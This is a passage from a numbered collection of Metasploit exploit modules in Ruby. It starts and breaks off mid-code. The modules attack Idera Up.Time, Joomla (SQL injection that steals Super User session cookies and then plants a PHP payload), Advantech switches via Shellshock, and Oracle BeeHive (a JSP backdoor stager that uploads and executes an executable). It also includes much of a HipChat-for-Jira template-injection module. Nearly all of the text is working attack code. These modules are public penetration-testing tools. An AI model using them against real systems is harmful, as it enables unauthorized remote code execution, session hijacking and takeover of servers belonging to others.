not found') end end end
  8. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'Idera Up.Time Monitoring Station 7.0 post2file.php Arbitrary File Upload', 'Description' => %q{ This module exploits an arbitrary file upload vulnerability found within the Up.Time monitoring server 7.2 and below. A malicious entity can upload a PHP file into the webroot without authentication, leading to arbitrary code execution. Although the vendor fixed Up.Time to prevent this vulnerability, it was not properly mitigated. To exploit against a newer version of Up.Time (such as 7.4), please use exploits/multi/http/uptime_file_upload_2. }, 'Author' => [ 'Denis Andzakovic <denis.andzakovic[at]security-assessment.com>' # Vulnerability discoverey and MSF module ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '100423' ], [ 'BID', '64031'], [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Up.Time%207.2%20-%20Arbitrary%20File%20Upload.pdf' ] ], 'Payload' => { 'Space' => 10000, # just a big enough number to fit any PHP payload 'DisableNops' => true }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Up.Time 7.0/7.2', { } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 19 2013')) register_options([ OptString.new('TARGETURI', [true, 'The full URI path to the Up.Time instance', '/']), Opt::RPORT(9999) ], self.class) end def check uri = target_uri.path res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'wizards', 'post2file.php') }) if res and res.code == 500 and res.body.to_s =~ /<title><\/title>/ return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def exploit print_status("#{peer} - Uploading PHP to Up.Time server") uri = target_uri.path @payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self => true) post_data = ({ "file_name" => @payload_name, "script" => php_payload }) print_status("#{peer} - Uploading payload #{@payload_name}") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'wizards', 'post2file.php'), 'vars_post' => post_data, }) unless res and res.code == 200 and res.body.to_s =~ /<title><\/title>/ fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed") end print_status("#{peer} - Executing payload #{@payload_name}") res = send_request_cgi({ 'uri' => normalize_uri(uri, 'wizards', @payload_name), 'method' => 'GET' }) end end
  9. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "Joomla Content History SQLi Remote Code Execution", 'Description' => %q{ This module exploits a SQL injection vulnerability found in Joomla versions 3.2 up to 3.4.4. The vulnerability exists in the Content History administrator component in the core of Joomla. Triggering the SQL injection makes it possible to retrieve active Super User sessions. The cookie can be used to login to the Joomla administrator backend. By creating a new template file containing our payload, remote code execution is made possible. }, 'License' => MSF_LICENSE, 'Author' => [ 'Asaf Orpani', # Vulnerability discovery 'xistence <xistence[at]0x90.nl>' # Metasploit module ], 'References' => [ [ 'CVE', '2015-7857' ], # Admin session hijacking [ 'CVE', '2015-7297' ], # SQLi [ 'CVE', '2015-7857' ], # SQLi [ 'CVE', '2015-7858' ], # SQLi [ 'URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/' ], [ 'URL', 'http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html' ] ], 'Payload' => { 'DisableNops' => true, # Arbitrary big number. The payload gets sent as POST data, so # really it's unlimited 'Space' => 262144, # 256k }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Joomla 3.x <= 3.4.4', {} ] ], 'Privileged' => false, 'DisclosureDate' => "Oct 23 2015", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to Joomla', '/']) ], self.class) end def check # Request using a non-existing table res = sqli(rand_text_alphanumeric(rand(10)+6)) if res && res.body =~ /`(.*)_ucm_history`/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def sqli( tableprefix ) # SQLi will only grab Super User sessions with a valid username and userid (else they are not logged in). # The extra search for NOT LIKE '%IS NOT NULL%' is because of our SQL data that's inserted in the session cookie history. # This way we make sure that's excluded and we only get real admin sessions. sql = " (select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM #{tableprefix}session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)" # Retrieve cookies res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "index.php"), 'vars_get' => { 'option' => 'com_contenthistory', 'view' => 'history', 'list[ordering]' => '', 'item_id' => '1', 'type_id' => '1', 'list[select]' => sql } }) return res end def exploit # Request using a non-existing table first, to retrieve the table prefix res = sqli(rand_text_alphanumeric(rand(10)+6)) if res && res.code == 500 && res.body =~ /`(.*)_ucm_history`/ table_prefix = $1 print_status("#{peer} - Retrieved table prefix [ #{table_prefix} ]") else fail_with(Failure::Unknown, "#{peer} - Error retrieving table prefix") end # Retrieve the admin session using our retrieved table prefix res = sqli("#{table_prefix}_") if res && res.code == 500 && res.body =~ /Duplicate entry &#039;([a-z0-9]+)&#039; for key/ auth_cookie_part = $1[0...-1] print_status("#{peer} - Retrieved admin cookie [ #{auth_cookie_part} ]") else fail_with(Failure::Unknown, "#{peer}: No logged-in admin user found!") end # Retrieve cookies res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "administrator", "index.php") }) if res && res.code == 200 && res.get_cookies =~ /^([a-z0-9]+)=[a-z0-9]+;/ cookie_begin = $1 print_status("#{peer} - Retrieved unauthenticated cookie [ #{cookie_begin} ]") else fail_with(Failure::Unknown, "#{peer} - Error retrieving unauthenticated cookie") end # Modify cookie to authenticated admin auth_cookie = cookie_begin auth_cookie << "=" auth_cookie << auth_cookie_part auth_cookie << ";" # Authenticated session res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), 'cookie' => auth_cookie }) if res && res.code == 200 && res.body =~ /Administration - Control Panel/ print_status("#{peer} - Successfully authenticated as Administrator") else fail_with(Failure::Unknown, "#{peer} - Session failure") end # Retrieve template view res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), 'cookie' => auth_cookie, 'vars_get' => { 'option' => 'com_templates', 'view' => 'templates' } }) # We try to retrieve and store the first template found if res && res.code == 200 && res.body =~ /\/administrator\/index.php\?option=com_templates&view=template&id=([0-9]+)&file=([a-zA-Z0-9=]+)/ template_id = $1 file_id = $2 else fail_with(Failure::Unknown, "Unable to retrieve template") end filename = rand_text_alphanumeric(rand(10)+6) # Create file print_status("#{peer} - Creating file [ #{filename}.php ]") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), 'cookie' => auth_cookie, 'vars_get' => { 'option' => 'com_templates', 'task' => 'template.createFile', 'id' => template_id, 'file' => file_id, }, 'vars_post' => { 'type' => 'php', 'name' => filename } }) # Grab token if res && res.code == 303 && res.headers['Location'] location = res.headers['Location'] print_status("#{peer} - Following redirect to [ #{location} ]") res = send_request_cgi( 'uri' => location, 'method' => 'GET', 'cookie' => auth_cookie ) # Retrieving template token if res && res.code == 200 && res.body =~ /&([a-z0-9]+)=1\">/ token = $1 print_status("#{peer} - Token [ #{token} ] retrieved") else fail_with(Failure::Unknown, "#{peer} - Retrieving token failed") end if res && res.code == 200 && res.body =~ /(\/templates\/.*\/)template_preview.png/ template_path = $1 print_status("#{peer} - Template path [ #{template_path} ] retrieved") else fail_with(Failure::Unknown, "#{peer} - Unable to retrieve template path") end else fail_with(Failure::Unknown, "#{peer} - Creating file failed") end filename_base64 = Rex::Text.encode_base64("/#{filename}.php") # Inject payload data into file print_status("#{peer} - Insert payload into file [ #{filename}.php ]") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), 'cookie' => auth_cookie, 'vars_get' => { 'option' => 'com_templates', 'view' => 'template', 'id' => template_id, 'file' => filename_base64, }, 'vars_post' => { 'jform[source]' => payload.encoded, 'task' => 'template.apply', token => '1', 'jform[extension_id]' => template_id, 'jform[filename]' => "/#{filename}.php" } }) if res && res.code == 303 && res.headers['Location'] =~ /\/administrator\/index.php\?option=com_templates&view=template&id=#{template_id}&file=/ print_status("#{peer} - Payload data inserted into [ #{filename}.php ]") else fail_with(Failure::Unknown, "#{peer} - Could not insert payload into file [ #{filename}.php ]") end # Request payload register_files_for_cleanup("#{filename}.php") print_status("#{peer} - Executing payload") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, template_path, "#{filename}.php"), 'cookie' => auth_cookie }) end end
  10. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Advantech Switch Bash Environment Variable Code Injection (Shellshock)', 'Description' => %q{ This module exploits the Shellshock vulnerability, a flaw in how the Bash shell handles external environment variables. This module targets the 'ping.sh' CGI script, acessible through the Boa web server on Advantech switches. This module was tested against firmware version 1322_D1.98. }, 'Author' => 'hdm', 'References' => [ ['CVE', '2014-6271'], ['CWE', '94'], ['OSVDB', '112004'], ['EDB', '34765'], ['URL', 'https://community.rapid7.com/community/infosec/blog/2015/12/01/r7-2015-25-advantech-eki-multiple-known-vulnerabilities'], ['URL', 'https://access.redhat.com/articles/1200223'], ['URL', 'http://seclists.org/oss-sec/2014/q3/649'] ], 'Privileged' => false, 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x0A\x0D", 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'openssl generic' } }, 'Targets' => [[ 'Automatic Targeting', { 'auto' => true } ]], 'DefaultTarget' => 0, 'License' => MSF_LICENSE, 'DisclosureDate' => 'Dec 01 2015' )) register_options([ Opt::RPORT(80) ], self.class) end # # CVE-2014-6271 # def cve_2014_6271(cmd) %{() { :;}; $(#{cmd}) & } end # # Check credentials # def check res = send_request_cgi( 'method' => 'GET', 'uri' => '/cgi-bin/ping.sh' ) if !res vprint_error("#{peer} - No response from host") return Exploit::CheckCode::Unknown elsif res.headers['Server'] =~ /Boa\/(.*)/ vprint_status("#{peer} - Found Boa version #{$1}") else print_status("#{peer} - Target is not a Boa web server") return Exploit::CheckCode::Safe end if res.body.to_s.index('127.0.0.1 ping statistics') return Exploit::CheckCode::Detected else vprint_error("#{peer} - Target does not appear to be an Advantech switch") return Expoit::CheckCode::Safe end end # # Exploit # def exploit cmd = cve_2014_6271(payload.encoded) vprint_status("#{peer} - Trying to run command '#{cmd}'") res = send_request_cgi( 'method' => 'GET', 'uri' => '/cgi-bin/ping.sh', 'agent' => cmd ) end end
  11. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "Oracle BeeHive 2 voice-servlet prepareAudioToPlay() Arbitrary File Upload", 'Description' => %q{ This module exploits a vulnerability found in Oracle BeeHive. The prepareAudioToPlay method found in voice-servlet can be abused to write a malicious file onto the target machine, and gain remote arbitrary code execution under the context of SYSTEM. Authentication is not required to exploit this vulnerability. }, 'License' => MSF_LICENSE, 'Author' => [ 'mr_me <steventhomasseeley[at]gmail.com>', # Source Incite. Vulnerability discovery, PoC 'sinn3r' # MSF module ], 'References' => [ [ 'ZDI', '15-550'], [ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpuoct2015-2367953.html' ] ], 'DefaultOptions' => { 'RPORT' => 7777 }, 'Platform' => 'win', 'Targets' => [ ['Oracle Beehive 2', {}] ], 'Privileged' => true, 'DisclosureDate' => "Nov 10 2015", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [ true, "Oracle Beehive's base directory", '/']) ], self.class) end def check res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa/')) if res.nil? vprint_error("Connection timed out.") return Exploit::CheckCode::Unknown elsif res && (res.code == 403 || res.code == 200) return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end def exploit unless check == Exploit::CheckCode::Detected fail_with(Failure::NotVulnerable, 'Target does not have voice-servlet') end # Init some names # We will upload to: # C:\oracle\product\2.0.1.0.0\beehive_2\j2ee\BEEAPP\applications\voice-servlet\prompt-qa\ exe_name = "#{Rex::Text.rand_text_alpha(5)}.exe" stager_name = "#{Rex::Text.rand_text_alpha(5)}.jsp" print_status("Stager name is: #{stager_name}") print_status("Executable name is: #{exe_name}") register_files_for_cleanup("../BEEAPP/applications/voice-servlet/voice-servlet/prompt-qa/#{stager_name}") # Ok fire! print_status("Uploading stager...") res = upload_stager(stager_name, exe_name) # Hmm if we fail to upload the stager, no point to continue. unless res fail_with(Failure::Unknown, 'Connection timed out.') end print_status("Uploading payload...") upload_payload(stager_name) end # Our stager is basically a backdoor that allows us to upload an executable with a POST request. def get_jsp_stager(exe_name) jsp = %Q|<%@ page import="java.io.*" %> <% ByteArrayOutputStream buf = new ByteArrayOutputStream(); BufferedReader reader = request.getReader(); int tmp; while ((tmp = reader.read()) != -1) { buf.write(tmp); } FileOutputStream fostream = new FileOutputStream("#{exe_name}"); buf.writeTo(fostream); fostream.close(); Runtime.getRuntime().exec("#{exe_name}"); %>| # Since we're sending it as a GET request, we want to keep it smaller so # we gsub stuff we don't want. jsp.gsub!("\n", '') jsp.gsub!(' ', ' ') Rex::Text.uri_encode(jsp) end def upload_stager(stager_name, exe_name) # wavfile = Has to be longer than 4 bytes (otherwise you hit a java bug) jsp_stager = get_jsp_stager(exe_name) uri = normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa', 'playAudioFile.jsp') send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'encode_params' => false, # Don't encode %00 for us 'vars_post' => { 'sess' => "..\\#{stager_name}%00", 'recxml' => jsp_stager, 'audiopath' => Rex::Text.rand_text_alpha(1), 'wavfile' => "#{Rex::Text.rand_text_alpha(5)}.wav", 'evaluation' => Rex::Text.rand_text_alpha(1) } }) end def upload_payload(stager_name) uri = normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa', stager_name) send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'data' => generate_payload_exe(code: payload.encoded) }) end def print_status(msg) super("#{rhost}:#{rport} - #{msg}") end end
  12. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "Oracle BeeHive 2 voice-servlet processEvaluation() Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in Oracle BeeHive. The processEvaluation method found in voice-servlet can be abused to write a malicious file onto the target machine, and gain remote arbitrary code execution under the context of SYSTEM. }, 'License' => MSF_LICENSE, 'Author' => [ '1c239c43f521145fa8385d64a9c32243', # Found the vuln first 'mr_me <steventhomasseeley[at]gmail.com>', # https://twitter.com/ae0n_ (overlapped finding & PoC) 'sinn3r' # Metasploit ], 'References' => [ [ 'CVE', '2010-4417' ], [ 'ZDI', '11-020' ], [ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html' ] ], 'DefaultOptions' => { 'RPORT' => 7777 }, 'Platform' => 'win', 'Targets' => [ ['Oracle Beehive 2', {}] ], 'Privileged' => true, 'DisclosureDate' => 'Jun 09 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [ true, "Oracle Beehive's base directory", '/']) ], self.class) end def check res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa', 'showRecxml.jsp')) if res && /RECXML Prompt Tester/ === res.body return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end def exploit unless check == Exploit::CheckCode::Detected fail_with(Failure::NotVulnerable, 'Target does not appear to be Oracle BeeHive') end # Init some names exe_name = "#{Rex::Text.rand_text_alpha(5)}.exe" stager_name = "#{Rex::Text.rand_text_alpha(5)}.jsp" print_status("Stager name is: #{stager_name}") print_status("Executable name is: #{exe_name}") # pwd: # C:\oracle\product\2.0.1.0.0\beehive_2\j2ee\home # Targeted path: # C:\oracle\product\2.0.1.0.0\beehive_2\j2ee\BEEAPP\applications\voice-servlet\voice-servlet\prompt-qa register_files_for_cleanup( "../BEEAPP/applications/voice-servlet/voice-servlet/prompt-qa/#{stager_name}" ) # Ok fire! print_status("Uploading stager...") res = upload_stager(stager_name, exe_name) # Hmm if we fail to upload the stager, no point to continue. unless res fail_with(Failure::Unknown, 'Connection timed out.') end print_status("Uploading payload...") upload_payload(stager_name) end # Our stager is basically a backdoor that allows us to upload an executable with a POST request. def get_jsp_stager(exe_name) jsp = %Q|<%@ page import="java.io.*" %> <% ByteArrayOutputStream buf = new ByteArrayOutputStream(); BufferedReader reader = request.getReader(); int tmp; while ((tmp = reader.read()) != -1) { buf.write(tmp); } FileOutputStream fostream = new FileOutputStream("#{exe_name}"); buf.writeTo(fostream); fostream.close(); Runtime.getRuntime().exec("#{exe_name}"); %>| # Since we're sending it as a GET request, we want to keep it smaller so # we gsub stuff we don't want. jsp.gsub!("\n", '') jsp.gsub!(' ', ' ') Rex::Text.uri_encode(jsp) end # Stager will be found under: # C:\oracle\product\2.0.1.0.0\beehive_2\j2ee\BEEAPP\applications\voice-servlet\voice-servlet\prompt-qa\ def upload_stager(stager_name, exe_name) jsp_stager = get_jsp_stager(exe_name) uri = normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa', 'showRecxml.jsp') send_request_cgi({ 'method' => 'GET', 'uri' => uri, 'encode_params' => false, # Don't encode %00 for us 'vars_get' => { 'evaluation' => jsp_stager, 'recxml' => "..\\#{stager_name}%00" } }) end # Payload will be found under: # C:\oracle\product\2.0.1.0.0\beehive_2\j2ee\home\ def upload_payload(stager_name) uri = normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa', stager_name) send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'data' => generate_payload_exe(code: payload.encoded) }) end def print_status(msg) super("#{rhost}:#{rport} - #{msg}") end end
  13. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'json' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "Atlassian HipChat for Jira Plugin Velocity Template Injection", 'Description' => %q{ Atlassian Hipchat is a web service for internal instant messaging. A plugin is available for Jira that allows team collibration at real time. A message can be used to inject Java code into a Velocity template, and gain code exeuction as Jira. Authentication is required to exploit this vulnerability, and you must make sure the account you're using isn't protected by captcha. By default, Java payload will be used because it is cross-platform, but you can also specify which native payload you want (Linux or Windows). HipChat for Jira plugin versions between 1.3.2 and 6.30.0 are affected. Jira versions between 6.3.5 and 6.4.10 are also affected by default, because they were bundled with a vulnerable copy of HipChat. When using the check command, if you supply a valid username and password, the module will be able to trigger the bug and check more accurately. If not, it falls back to passive, which can only tell if the target is running on a Jira version that is bundled with a vulnerable copy of Hipchat by default, which is less reliable. This vulnerability was originally discovered internally by Atlassian. }, 'License' => MSF_LICENSE, 'Author' => [ 'Chris Wood', # PoC 'sinn3r' # Metasploit ], 'References' => [ [ 'CVE', '2015-5603' ], [ 'EDB', '38551' ], [ 'BID', '76698' ], [ 'URL', 'https://confluence.atlassian.com/jira/jira-and-hipchat-for-jira-plugin-security-advisory-2015-08-26-776650785.html' ] ], 'Targets' => [ [ 'HipChat for Jira plugin on Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA }], [ 'HipChat for Jira plugin on Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 }], [ 'HipChat for Jira plugin on Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }] ], 'DefaultOptions' => { 'RPORT' => 8080 }, 'Privileged' => false, 'DisclosureDate' => 'Oct 28 2015', 'DefaultTarget' => 0 )) register_options( [ # Auth is required, but when we use the check command we allow them to be optional. OptString.new('JIRAUSER', [false, 'Jira Username', '']), OptString.new('JIRAPASS', [false, 'Jira Password', '']), OptString.new('TARGETURI', [true, 'The base to Jira', '/']) ], self.class) end # Returns a cookie in a hash, so you can ask for a specific parameter. # # @return [Hash] def get_cookie_as_hash(cookie) Hash[*cookie.scan(/\s?([^, ;]+?)=([^, ;]*?)[;,]/).flatten] end # Checks the target by actually triggering the bug. # # @return [Array] Exploit::CheckCode::Vulnerable if bug was triggered. # Exploit::CheckCode::Unknown if something failed. # Exploit::CheckCode::Safe for the rest. def do_explicit_check begin cookie = do_login # I don't really care which command to execute, as long as it's a valid one for both platforms. # If the command is valid, it should return {"message"=>"0"}. # If the command is not valid, it should return an empty hash. c = get_exec_code('whoami') res = inject_template(c, cookie) json = res.get_json_document if json['message'] && json['message'] == '0' return Exploit::CheckCode::Vulnerable end rescue Msf::Exploit::Failed => e vprint_error(e.message) return Exploit::CheckCode::Unknown end Exploit::CheckCode::Safe end # Returns the Jira version # # @return [String] Found Jira version # @return [NilClass] No Jira version found. def get_jira_version version = nil res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'secure', 'Dashboard.jspa') }) unless res vprint_error('Connection timed out while retrieving the Jira version.') return version end metas = res.get_html_meta_elements version_element = metas.select { |m| m.attributes['name'] && m.attributes['name'].value == 'ajs-version-number' }.first unless version_element vprint_error('Unable to find the Jira version.') return version end version_element.attributes['content'] ? version_element.attributes['content'].value : nil end # Checks the target by looking at things like the Jira version, or whether the Jira web app # exists or not. # # @return [Array] Check code. If the Jira version matches the vulnerable range, it returns # Exploit::CheckCode::Appears. If we can only tell it runs on Jira, we return # Exploit::CheckCode::Detected, because it's possible to have Jira not bundled # with HipChat by default, but installed separately. For other scenarios, we # return Safe. def do_passive_check jira_version = get_jira_version vprint_status("Found Jira version: #{jira_version}") if jira_version && jira_version >= '6.3.5' && jira_version < '6.4.11' return Exploit::CheckCode::Appears else return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end # Checks the vulnerability. Username and password are required to be able to accurately verify # the vuln. If supplied, we will try the explicit check (which will trigger the bug, so should # be more reliable). If not, we will try the passive one (less accurately, but better than # nothing). # # @see #do_explicit_check # @see #do_passive_check # # @return [Array] Check code def check checkcode = Exploit::CheckCode::Safe if jira_cred_empty? vprint_status("No username and password supplied, so we can only do a passive check.") checkcode = do_passive_check else checkcode = do_explicit_check end checkcode end # Returns the Jira username set by the user def jira_username datastore['JIRAUSER'] end # Returns the Jira password set by the user def jira_password datastore['JIRAPASS'] end # Reports username and password to the database. # # @param opts [Hash] # @option opts [String] :user # @option opts [String] :password # # @return [void] def report_cred(opts) service_data = { address: rhost, port: rport, service_name: ssl ? 'https' : 'http', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { module_fullname: fullname, post_reference_name: self.refname, private_data: opts[:password], origin_type: :service, private_type: :password, username: opts[:user] }.merge(service_data) login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, last_attempted_at: Time.now }.merge(service_data) create_credential_login(login_data) end # Returns a valid login cookie. # # @return [String] def do_login cookie = '' prerequisites = get_login_prerequisites xsrf = prerequisites['atlassian.xsrf.token'] sid = prerequisites['JSESSIONID'] uri = normalize_uri(target_uri.path, 'rest', 'gadget', '1.0', 'login') res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, 'cookie' => "atlassian.xsrf.token=#{xsrf}; JSESSIONID=#{sid}", 'vars_post' => { 'os_username' => jira_username, 'os_password' => jira_password, 'os_captcha' => '' # Not beatable yet } }) unless res fail_with(Failure::Unknown, 'Connection timed out while trying to login') end json = res.get_json_document if json.empty? fail_with(Failure::Unknown, 'Server returned a non-JSon response while trying to login.') end if json['loginSucceeded'] cookie = res.get_cookies elsif !json['loginSucceeded'] && json['captchaFailure'] fail_with(Failure::NoAccess, "#{jira_username} is protected by captcha. Please try a different account.") elsif !json['loginSucceeded'] fail_with(Failure::NoAccess, 'Incorrect username or password') end report_cred( user: jira_username, password: jira_password ) cookie end # Returns login prerequisites # # @return [Hash] def get_login_prerequisites uri = normalize_uri(target_uri.path, 'secure', 'Dashboard.jspa') res = send_request_cgi({ 'uri' => uri }) unless res fail_with(Failure::Unknown, 'Connection timed out while getting login prerequisites') end get_cookie_as_hash(res.get_cookies) end # Returns the target platform. # # @param cookie [String] Jira cookie # @return [String] def get_target_platform(cookie) c = get_os_detection_code res = inject_template(c, cookie) json = res.get_json_document json['message'] || '' end # Returns Java code that can be used to inject to the template in order to write a file. # # @note This Java code is not able to properly close the file handle. So after using it, you should use #get_dup_file_code, # and then execute the new file instead. # # @param fname [String] File to write to. # @param p [String] Payload # @return [String] def get_write_file_code(fname, p) b64 = Rex::Text.encode_base64(p) %Q| $i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{b64}')) | end # Returns the Java code that gives us the remote Java home path. # # @return [String] def get_java_path_code get_java_property_code('java.home') end # Returns the OS/platform information. # # @return [String] def get_os_detection_code get_java_property_code('os.name') end # Returns the temp path for Java. # # @return [String] def get_temp_path_code get_java_property_code('java.io.tmpdir') end # Returns a system property for Java. # # @param prop [String] Name of the property to retrieve. # @return [String] def get_java_property_code(prop) %Q| $i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{prop}').toString() | end # Returns the Java code to execute a jar file. # # @param java_path [String] Java home path # @param war_path [String] The jar file to execute # @return [String] def get_jar_exec_code(java_path, war_path) # A quick way to check platform instead of actually grabbing os.name in Java system properties. if /^\/[[:print:]]+/ === war_path normalized_java_path = Rex::FileUtils.normalize_unix_path(java_path, '/bin/java') cmd_str = %Q|#{normalized_java_path} -jar #{war_path}| else normalized_java_path = Rex::FileUtils.normalize_win_path(java_path, '\\bin\\java.exe') war_path.gsub!(/Program Files/, 'PROGRA~1') cmd_str = %Q|cmd.exe /C #{normalized_java_path} -jar #{war_path}"| end %Q| $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{cmd_str}').waitFor() | end # Returns Java code that can be used to inject to the template in order to execute a file. # # @param cmd [String] command to execute # @return [String] def get_exec_code(cmd) %Q| $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{cmd}').waitFor() | end # Returns Java code that can be used to inject to the template in order to chmod a file. # # @param fname [String] File to chmod # @return [String] def get_chmod_code(fname) get_exec_code("chmod 777 #{fname}") end # Returns Java code that can be used to inject to the template in order to copy a file. # # @note The purpose of this method is to have a file that is not busy, so we can execute it. # It is meant to be used with #get_write_file_code. # # @param fname [String] The file to copy # @param new_fname [String] The new file # @return [String] def get_dup_file_code(fname, new_fname) if fname =~ /^\/[[:print:]]+/ cp_cmd = "cp #{fname} #{new_fname}" else cp_cmd = "cmd.exe /C copy #{fname} #{new_fname}" end get_exec_code(cp_cmd) end # Returns a boolean indicating whether the module has a username and password. # # @return [TrueClass] There is an empty cred. # @return [FalseClass] No empty cred. def jira_cred_empty? jira_username.blank? || jira_password.blank? end # Injects Java code to the template. # # @param p [String] Code that is being injected. # @param cookie [String] A cookie that contains a valid JSESSIONID # @return [void] def inject_template(p, cookie) login_sid = get_cookie_as_hash(cookie)['JSESSIONID'] uri = normalize_uri(target_uri.path, 'rest', 'hipchat', 'integrations', '1.0', 'message', 'render') uri << '/' res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'cookie' => "JSESSIONID=#{login_sid}", 'ctype' => 'application/json', 'data' => { 'message' => p }.to_json }) if !res # This seems to trigger every time even though we're getting a shell. So let's downplay # this a little bit. At least it's logged to allow the user to debug. elog('Connection timed out in #inject_template') elsif res && /Error report/ === res.body print_error('Failed to inject and execute code:') vprint_line(res.body) elsif res vprint_status("Server response:") vprint_line res.body end res end # Checks if the target os/platform is compatible with the module target or not. # # @return [TrueClass] Compatible # @return [FalseClass] Not compatible def target_platform_compat?(target_platform) target.platform.names.each do |n| if /^java$/i === n || /#{n}/i === target_platform return true end end false end # Returns the normalized file path for payload. # # @return [String] def normalize_payload_fname(tmp_path, fname) # A quick way to check platform insteaf of actually grabbing os.name in Java system properties. if /^\/[[:print:]]+/ === tmp_path Rex::FileUtils.normalize_unix_path(tmp_path, fname) else Rex::FileUtils.normalize_win_path(tmp_path, fname) end end # Returns a temp path from the remote target. # # @param cookie [String] Jira cookie # @return [String] def get_tmp_path(cookie) c = get_temp_path_code res = inject_template(c, cookie) json = res.get_json_document json['message'] || '' end # Returns the Java home path used by Jira. # # @param cookie [String] Jira cookie. # @return [String] def get_java_home_path(cookie) c = get_java_path_code res = inject_template(c, cookie) json = res.get_json_document json['message'] || '' end # 